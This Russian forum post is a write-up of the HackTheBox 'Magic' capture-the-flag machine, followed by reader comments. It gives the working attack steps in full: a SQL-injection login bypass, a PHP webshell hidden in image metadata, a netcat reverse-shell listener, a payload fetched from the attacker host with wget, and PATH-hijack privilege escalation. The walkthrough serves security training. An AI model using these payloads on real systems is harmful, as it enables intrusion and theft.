![]() |
https://forum.antichat.xyz/attachmen...51d79c66b7.png
Привет Форумчане! Продолжаем рассматривать CTF с площадки HackTheBox, одна из таких интересных коробок по Linux будет разобрана в этой статье, не буду томить... Начнём! Данные: Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt Основная рабочая машина: Kali Linux 2021.3 IP адрес удаленной машины -10.10.10.185 IP адрес основной машины -10.10.14.34 Начальная разведка и сканирование портов: Как всегда начинаем с сканирования портов удаленной рабочей машины, nmap поможет нам в этом: Код:
nmap -sC -sV 10.10.10.185https://forum.antichat.xyz/attachmen...a20172e503.png Видим два открытых порта 22/ssh и 80/http на сервере Apache 2.4.29. Зайдем на страницу этого сервера: https://forum.antichat.xyz/attachmen...934c1238a7.png Видим какую-то галерею с космосом на заднем фоне, давайте откроем исходный код страницы: https://forum.antichat.xyz/attachmen...fba88bf6a8.png Немного пролистав горизонтально код, мы натыкаемся на полный путь папки /images/uploads/ - видимо где-то здесь есть место для загрузки файлов. Давайте воспользуемся Dirsearch в связке с Gobuster. Что это за инструменты и для чего они нужны нам, как веб-пентестерам: Dirsearch - это простая утилита терминала, предназначенная для брут-форса директорий и файлов по сайту. Он также способен искать известные файлы по заданным расширениям Gobuster - один из самых мощных и быстрых инструментов. Он использует сканер каталогов, написанный на языке Go, он быстрее и гибче, чем интерпретируемый скрипт. Код:
dirsearch -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,log,sql,txt,bak,tar,tar.gz.zip,rar,swp,gz,asp,aspxhttps://forum.antichat.xyz/attachmen...85a7a94c07.png Код:
gobuster dir -u http://10.10.10.185/ -w /root/SecLists/Discovery/Web-Content/raft-large-directories.txthttps://forum.antichat.xyz/attachmen...a5badd99e3.png К сожалению все переборы директорий закончились не очень удачно, так как они перенаправляют нас на 403 error (Нет прав доступа), но это не всё, всегда есть другая точка входа, в нашем случае это страница входа в аккаунт -> login.php Заходим на неё и видим следующее: https://forum.antichat.xyz/attachmen...7edc2ef82a.png Веб-Эксплуатация и получение пользователя Нам предлагают ввести имя пользователя и пароль, открываем BurpSuite и начинаем проламываться через эту форму. Первое что нам нужно сделать это перехватить запрос, далее отправим его в Repeater: https://forum.antichat.xyz/attachmen...299cd81369.png Здесь внимание стоит обратить на alert, он говорит нам что у нас неправильный логин или пароль, давайте попробуем обойти авторизацию с помощью sql-injection или проще называемой "скули" В параметр username добавим строчку ' or 1=1 -- - это обычный обход авторизации с помощью sql-injection основанной на буллевых значениях... Отправляем запрос и видим перенаправление 302 Follow Redirect, переходим и получаем: https://forum.antichat.xyz/attachmen...75ea7f5c12.png Welcome Admin! Отлично мы админ, теперь видим перед собой форму загрузки файлов, попробуем загрузить наш PentestMonkey Reverse Shell с расширением .php https://forum.antichat.xyz/attachmen...9bbdc46c11.png На что форма выдаёт ошибку где ссылается на то, что только файлы с расширениями JPG, JPEG И PNG доступны для загрузки. https://forum.antichat.xyz/attachmen...0ceb8b1e72.png Теперь очередь обхода - этой формы загрузок, с помощью ExifTool (программы для просмотра метаданных) отредактируем комментарий в изображении скопировав туда обычный php reverse shell cmd: Код:
exiftool -Comment='"; system($_GET['cmd']); ?>' runme.jpgПосле успешной загрузки, мы вспоминаем про путь /images/uploads/добавляем сюда наше имя файла и можем успешно добавлять POST запрос к нашему скрипту - https://forum.antichat.xyz/attachmen...577225cfc8.png Иии... Ура! У нас есть cmd webshell, давайте сделаем бэк-коннект до себя, добавив в URL https://forum.antichat.xyz/attachmen...2d9776cc4b.png Есть! Мы получили обратную оболочку, теперь мы будем спускаться по директориям вниз и параллельно смотреть содержимое интересных файлов, например такого как - db.php5 лежащего в директории /var/www/Magic: https://forum.antichat.xyz/attachmen...b59bc262bf.png А вот и данные от базы данных, давайте посмотрим какие у нас есть пользователи, в папке /home/ есть только один пользователь - theseus Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus, но этот пароль не подошёл к нему, хорошо, тогда сдампим базу данных через mysqldump: Код:
mysqldump -B Magic -u theseus -phttps://forum.antichat.xyz/attachmen...9a8157e867.png И получаем имя пользователя admin и пароль Th3s3usW4sK1ng Уж на этот раз, это точно должен быть пароль от пользователя theseus, подставим его: https://forum.antichat.xyz/attachmen...21c1383d39.png Да! Мы нашли пользовательский пароль. Зайдем в домашнюю директорию и выведем пользовательский флаг: https://forum.antichat.xyz/attachmen...123e559e5d.png Повышение привилегий Теперь попробуем найти все SUID файлы: Код:
find / -perm -u=s -type f 2>/dev/nullЭта команда выдаст нам все файлы, с разрешениями владельца файла которые мы можем выполнить и среди них мы видим интересный файл /bin/sysinfo. Так как это бинарный файл, давайте посмотрим его строки: Код:
strings /bin/sysinfoСреди строк мы находим уязвимость PATH Injection, так как утилита fdisk подгружается программой не через полный путь к нему! Попробуем это использовать, загрузим свой файл fdisk со следующим содержимым: https://forum.antichat.xyz/attachmen...8eae2ffa5b.png Он будет содержать в себе самый обычный Bash Reverse Shell, итак откроем у себя порт через интересную утилитуRlwrap. Rlwrap - это отличная утилита суть которой заключается в упрощении управления пользовательским вводом, проще говоря вы сможете использовать стрелочки для редактирования и вставления прошлых команд из терминала при tty шелле! Запустим его в связке с Netcat на порту 9998: Код:
rlwrap nc -nvlp 9998Загружаем наш файл на удаленную машину через Python модуль http.server с портом 80: Код:
python3 -m http.server 80Теперь скачиваем наш файл в папку /tmp/ через wget: Код:
wget 10.10.14.34/fdiskКод:
chmod +x fdiskНам нужно изменить путь запуска на наш, т.е /tmp/ - сделаем это командойexport: Код:
export PATH=/tmp:$PATHhttps://forum.antichat.xyz/attachmen...d561130ccf.png Поздравляю, мы получилиroot! Выводы: Эта CTF научила нас: 1) Пользоваться уязвимостью для обхода форм авторизаций на основе sql-инъекции 2) Обходить фильтрацию загрузки файлов и загружать туда шелл. 3) Брутить директории и файлы сайтов. 4) Использовать уязвимость PATH Injection. 5) И просто творить магию) Спасибо, за то что вы прочитали мою статью! Скоро буду |
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Вообщем так можно продолжать дальше. |
Цитата:
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection 3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам 4) Su, забыл описать, что там в конфиге ssh вход только по паролю 5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант |
Крутая статья. Интересно будет почитать про разбор машин, встречаемых или примерно похожих на PEN200 (он же OSCP).
|
Цитата:
|
| Время: 21:54 |